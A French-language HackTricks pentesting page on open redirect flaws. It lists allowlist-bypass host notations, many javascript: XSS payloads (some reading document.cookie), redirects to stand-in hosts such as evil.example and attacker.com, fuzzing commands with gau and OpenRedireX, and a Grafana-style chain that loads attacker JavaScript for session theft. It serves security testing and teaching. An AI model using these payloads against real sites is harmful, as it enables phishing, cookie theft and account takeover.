Open Redirect

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Open redirect

Redirect to localhost or arbitrary domains

  • Si l’application “allows only internal/whitelisted hosts”, essayez des notations d’hôte alternatives pour atteindre le loopback ou des plages internes via la cible de redirection :
  • Variantes loopback IPv4 : 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
  • Variantes loopback IPv6 : [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
  • Point final (trailing dot) et variation de casse : localhost., LOCALHOST, 127.0.0.1.
  • Entrées DNS wildcard qui résolvent vers loopback : lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Ces domaines sont utiles lorsque seuls les “subdomains of X” sont autorisés mais que la résolution d’hôte pointe toujours vers 127.0.0.1.
  • Les références de chemin réseau contournent souvent les validateurs naïfs qui préfixent un scheme ou ne vérifient que les préfixes :
  • //attacker.tld → interprété comme relatif au schéma et navigue hors du site en utilisant le schéma courant.
  • Les astuces userinfo contournent les vérifications contains/startswith contre des hôtes de confiance :
  • https://trusted.tld@attacker.tld/ → le navigateur va sur attacker.tld mais de simples vérifications de chaîne “voient” trusted.tld.
  • Confusion de parsing des backslashes entre frameworks/navigateurs :
  • https://trusted.tld@attacker.tld → certains backends traitent “\” comme un caractère de chemin et passent la validation ; les navigateurs normalisent en “/” et interprètent trusted.tld comme userinfo, envoyant les utilisateurs vers attacker.tld. Cela apparaît aussi dans des mismatches du URL-parser Node/PHP.

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Payloads de bypass plus modernes basés sur l'URL ```text # Scheme-relative (current scheme is reused) //evil.example

Credentials (userinfo) trick

https://trusted.example@evil.example/

Backslash confusion (server validates, browser normalizes)

https://trusted.example@evil.example/

Schemeless with whitespace/control chars

evil.example%00 %09//evil.example

Prefix/suffix matching flaws

https://trusted.example.evil.example/ https://evil.example/trusted.example

When only path is accepted, try breaking absolute URL detection

/\evil.example /..//evil.example

</details>

## Open Redirect téléversement de fichiers svg
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Paramètres d’injection courants

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Exemples de code

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Hunting and exploitation workflow (pratique)

  • Vérification d’une URL unique avec curl:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
  • Découvrir et fuzz les paramètres probables à grande échelle:
Cliquez pour développer ```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler

2) Grep common parameters and normalize list

rg -NI “(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)” urls.txt
| sed ‘s/\r$//’ | sort -u > candidates.txt

3) Use OpenRedireX to fuzz with payload corpus

cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

4) Manually verify interesting hits

awk ‘/30[1237]|Location:/I’ results.txt

</details>

- N’oubliez pas les sinks côté client dans les SPAs : cherchez window.location/assign/replace et les helpers des frameworks qui lisent query/hash et redirigent.

- Les frameworks introduisent souvent des footguns lorsque les destinations de redirection sont dérivées d'entrées non fiables (query params, Referer, cookies). Voir les notes Next.js sur les redirects et évitez les destinations dynamiques dérivées des entrées utilisateur.

<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>

- OAuth/OIDC flows : l'abus d'open redirectors conduit souvent à un account takeover en leaking authorization codes/tokens. Voir le guide dédié :

<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>

- Les réponses serveur qui implémentent des redirections sans Location (meta refresh/JavaScript) sont toujours exploitables pour phishing et peuvent parfois être chainées. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Fragment smuggling + client-side traversal chain (Grafana-style bypass)

  • Server-side gap (Go url.Parse + raw redirect): Les validators qui n’inspectent que URL.Path et ignorent URL.Fragment peuvent être trompés en plaçant l’hôte externe après #. Si le handler reconstruit ensuite Location à partir de la chaîne unsanitized, les fragments leak dans la cible du redirect. Exemple contre /user/auth-tokens/rotate:
  • Request: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
  • Parsing sees Path=/ and Fragment=/..//\//attacker.com, so regex + path.Clean() approve /, but the response emits Location: /\//attacker.com, acting as an open redirect.
  • Client-side gap (validate decoded/cleaned, return original): Les helpers SPA qui décodent complètement un chemin (y compris ? double-encodé), retirent la query pour la validation, mais renvoient ensuite la chaîne originale, laissant les ../ encodés survivre. Le décodage ultérieur par le browser le transforme en un traversal vers n’importe quel endpoint same-origin (e.g., the redirect gadget). Payload pattern:
  • /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  • The validator checks /dashboard/script/ (no ..), returns the encoded string, and the browser walks to /user/auth-tokens/rotate.
  • End-to-end XSS/ATO: enchaîner le traversal avec le fragment-smuggled redirect pour contraindre le dashboard script loader à fetcher l’attacker JS:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
  • Le path traversal atteint le rotate endpoint, qui émet un 302 vers attacker.com/module.js depuis le redirectTo dissimulé dans le fragment. Veillez à ce que l’origine de l’attaquant fournisse du JS avec des CORS permissifs afin que le navigateur l’exécute, aboutissant à session theft/account takeover.

Outils

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks